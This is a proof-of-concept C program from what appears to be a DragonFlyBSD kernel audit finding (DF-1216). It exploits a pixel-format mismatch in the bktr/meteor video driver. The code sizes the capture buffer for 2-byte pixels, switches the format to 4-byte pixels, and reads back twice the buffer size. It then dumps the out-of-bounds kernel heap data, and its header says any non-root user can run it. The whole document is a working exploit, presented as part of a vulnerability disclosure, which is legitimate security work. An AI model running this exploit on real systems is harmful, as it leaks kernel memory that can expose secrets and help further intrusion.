DragonFlyBSD Kernel Audit
DF-1216 / poc_bpp_mismatch.c
← back to finding ↓ download raw
/*
 * DF-1216 PoC: METEORSETGEO + METEORSACTPIXFMT pixel-format mismatch
 *
 * Allocates bigbuf with YUV_422 (Bpp=2), then switches pixfmt to RGB 4Bpp.
 * read() returns 2x the buffer size -> OOB kernel heap info leak.
 *
 * Build:  cc -O2 -Wall -o poc_bpp_mismatch poc_bpp_mismatch.c
 * Run:    ./poc_bpp_mismatch   (as ANY non-root user)
 * Expect: read() returns 8MB; second half is leaked kernel heap
 */

#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>

#include <dev/video/meteor/ioctl_meteor.h>
#include <dev/video/bktr/ioctl_bt848.h>

int main(void) {
    int fd = open("/dev/bktr0", O_RDONLY);
    if (fd < 0) { perror("open"); return 1; }

    /* Allocate bigbuf sized for YUV_422 (Bpp=2). */
    struct meteor_geomet g;
    g.rows = 2046;
    g.columns = 1022;
    g.frames = 1;
    g.oformat = METEOR_GEO_YUV_422;
    if (ioctl(fd, METEORSETGEO, &g)) { perror("METEORSETGEO"); return 1; }

    /* Switch pixfmt to RGB 4Bpp - bigbuf is NOT resized. */
    int pixfmt = 5; /* pixfmt_table[5] = RGB 4 Bpp */
    if (ioctl(fd, METEORSACTPIXFMT, &pixfmt)) { perror("METEORSACTPIXFMT"); return 1; }

    /* count = 2046*1022*4 = 8,364,048 bytes; bigbuf holds only ~4 MiB. */
    size_t sz = (size_t)2046 * 1022 * 4;
    unsigned char *buf = malloc(sz);
    if (!buf) { perror("malloc"); return 1; }

    ssize_t n = read(fd, buf, sz);
    if (n < 0) { perror("read"); return 1; }
    fprintf(stderr, "read %zd bytes; tail is leaked kernel heap\n", n);

    /* Second half of buf[] is leaked kernel memory past the end of bigbuf. */
    write(2, buf + sz/2, sz/2);
    free(buf);
    return 0;
}